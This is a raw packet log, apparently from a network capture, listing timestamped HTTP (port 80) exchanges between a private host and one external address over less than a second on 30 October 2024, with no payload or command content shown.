Oct 30, 2024 20:13:24.306564093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306612015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.306934118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.306978941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.306998014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307039022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.307043076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307091951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.307100058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307110071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307136059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.307147980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.307250977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307295084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.307557106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307602882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.307672024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307715893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.307780981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307822943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307828903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.307862997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.307867050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307878017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.307905912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.308141947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.308151007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.308192015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.348190069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.348241091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.348251104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.348282099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.348297119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.348491907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.348491907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.397660017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.397706032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.397717953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.397716999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.397743940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.397772074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.397893906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.397905111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.397916079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.397928953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.397939920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.397977114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.398217916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.398233891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.398272038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.398298025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.398308992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.398354053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.428107977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.428141117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.428153038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.428189039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.428212881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.428376913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.428388119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.428396940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.428407907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.428428888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.428451061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.428632021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.428642988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.428682089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.429028034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429088116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.429091930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429102898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429127932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.429141045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.429234028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429244041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429254055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429265022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429281950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.429310083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.429552078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429563046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429573059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429600954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.429614067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.429682970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429693937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429713011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.429733038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.429755926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.429959059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.430003881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.470136881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.470175028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.470186949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.470248938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.470325947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.519586086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.519618034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.519628048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.519741058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.519768000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.519779921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.519824028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.519908905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.519921064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.519931078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.519963980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.519990921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.520261049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.520311117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.520335913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.520347118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.520399094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.520473003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.520484924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.520512104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.520565987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.520605087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.550482035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.550544024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.550550938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.550560951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.550596952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.550729036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.550740004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.550750971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.550777912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.550798893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.550939083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.550951004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.550961971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.550993919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551018953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551121950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551167011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551208019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551264048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551278114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551290035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551302910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551328897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551405907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551417112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551426888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551440001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551445961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551476955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551490068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551722050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551733017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551795959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551904917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551924944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.551948071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.551970959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.552011013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.552061081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.552083015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.552093029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.552133083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.592390060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.592432022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.592433929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.592446089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.592467070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.592480898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.641406059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.641457081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.641572952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.641582966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.641623974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.641659975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.641670942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.641680002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.641693115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.641702890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.641726017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.641859055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.641901016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.642065048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.642123938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.642127037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.642138958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.642164946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.642184973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.642283916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.642294884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.642313957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.642329931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.672116041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672171116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.672270060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672281027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672291040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672302008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672314882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.672354937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.672489882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672499895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672542095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.672736883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672748089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672758102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672770977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672780991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672781944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.672791958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672804117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.672805071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.672832966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.672858000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.673130035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.673142910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.673170090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.673190117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.673403025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.673449993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.673482895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.673495054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.673527002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.673609018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.673638105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.673650026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.673794985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.673836946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.673867941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.673880100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.673909903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.673919916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.673983097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.674021006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.713907003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.714059114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.714267015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.714277983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.714320898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.760462999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.760656118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.760667086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.760704994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.760785103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.763546944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.763634920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.763647079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.763647079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.763720036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.763731003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.763761044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.763840914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.763853073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.763853073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.763917923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.763983011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.764028072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.764039993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.764065027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.764096022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.764120102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.795236111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.795264959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.795289993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.795301914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.795344114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.795440912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.795444965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.795490980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.795504093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.795574903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.795584917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.795586109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.795651913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.795731068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.795742989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.795782089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.796163082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796174049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796211958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.796452999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796463966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796498060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.796544075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796555042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796566010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796590090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.796605110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.796658039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796669960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796681881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796694040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.796704054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.796726942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.797086000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.797112942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.797125101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.797143936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.797153950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.797209024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.797220945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.797231913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.797255039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.797270060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.835520983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.835575104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.835586071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.835608959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.835788965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.880320072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.880362034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.880462885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.883246899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.883268118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.883280039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.883301020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.883349895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.885281086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.885330915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.885338068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.885348082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.885385990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.885508060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.885519981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.885557890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.885598898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.885638952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.885737896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.885786057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.885787010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.885829926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.886048079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.886101961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.917598963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.917646885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.917674065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.917685986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.917716026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:24.917853117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.917864084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.917872906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.917890072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:24.917898893 CET	49758	80	192.168.2.4	185.215.113.206
